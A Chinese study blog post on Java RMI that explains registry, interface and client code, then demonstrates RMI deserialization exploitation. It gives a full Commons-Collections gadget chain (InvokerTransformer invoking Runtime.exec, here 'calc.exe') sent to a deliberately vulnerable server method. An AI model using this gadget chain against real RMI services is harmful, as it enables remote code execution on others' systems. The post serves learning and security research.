首页 > 其他 > 详细

RMI学习+RMI反序列化

时间:2021-04-22 16:02:11      阅读:27      评论:0      收藏:0      [点我收藏+]

RMI

(Remote Method Invocation,远程方法调用),能调用远程虚拟机的对象的方法。

 

协议:

Java本身对RMI规范的实现默认使用的是JRMP协议

Weblogic中对RMI规范的实现使用T3协议。

nternet Inter-ORB协议(IIOP):基于CORBA实现的跨语言协议

 

组成及实现

1.服务器定义的可供远程调用的接口,需要继承Remote ,接口中定义了一个hello方法

public interface rmidemo extends Remote {

  public String hello() throws RemoteException; }

 

2.接口实现类,其中有一个私有的构造方法,和实现的接口中的hello方法
public class RemoteHelloWorld extends UnicastRemoteObjectimplements rmidemo{

  protected RemoteHelloWorld() throws RemoteException {

  System.out.println("构造方法");}

           

  public String hello() throws RemoteException{

  System.out.println("hello方法被调用"); return "hello,world";}

 

}

 

  1. 注册中心(也在服务端,开启一个rmi,也在服务端),其中利用Registry 创建了一个本地1099端口的rmi服务,服务绑定了RemoteHelloWorld对象,并将名i设置为了hello。)

public class servet{

  public static void main(String[] args) throws RemoteException {

    rmidemo hello = new RemoteHelloWorld();//创建远程对象

    Registry registry = LocateRegistry.createRegistry(1099);//创建注册表

    registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello }

    }

 

  1. 客户端(调用远程rmi的接口,实现接口的功能(这里用接口对象实现))

public class clientdemo {

  public static void main(String[] args) throws RemoteException, NotBoundException {

    Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象

     

    rmidemo hello = (rmidemo) registry.lookup("hello"); // 利用注册表的代理去查询远程注册表中名为hello的对象

    System.out.println(hello.hello()); }// 调用远程方法并输出结果

    }

 

RMI反序列化

前提

  1. 服务端存在利用链
  2. 服务端能上传一个object,传输的数据为序列化的数据。

利用Commons-Collections配合RMI反序列化分析

接口  //这里定义了一个User接口,其中实现了三个方法,work方法为调用Object对象

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Readable, Remote {
    public String hello(String hello) throws RemoteException;
    void work(Object obj) throws RemoteException;
    void Say() throws RemoteException;}

 

接口实现类,实现了接口函数中的相应功能

import java.io.IOException;
import java.nio.CharBuffer;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port,csf,ssf);
}

@Override
public String hello(String hello) throws RemoteException {
return "hello";
}

@Override
public void work(Object obj) throws RemoteException {
System.out.println("work bei diaoyong");
}

@Override
public void Say() throws RemoteException {
System.out.println("hi");
}

@Override
public int read(CharBuffer cb) throws IOException {
return 0;
}
}


服务端开启RMI服务,绑定在了本地的1099端口

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException {
User user = new UserImpl();
Registry reg = LocateRegistry.createRegistry(1099);
reg.rebind("user",user);
System.out.println("rmi running");
}
}

客户端代码,远程调用了rmi服务的work方法,getpayload为apache的反序列化CC链,调用成功后会弹出计算器(
AnnotationInvocationHandler对jdk版本有要求,高版本jdk会报错)


import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;

public class client {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException {
String url ="rmi://127.0.0.1:1099/user";
User userClient = (User) Naming.lookup(url);
userClient.work(getpayload());
}

public static Object getpayload() throws InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}

RMI学习+RMI反序列化

原文:https://www.cnblogs.com/yzcxld/p/14689155.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!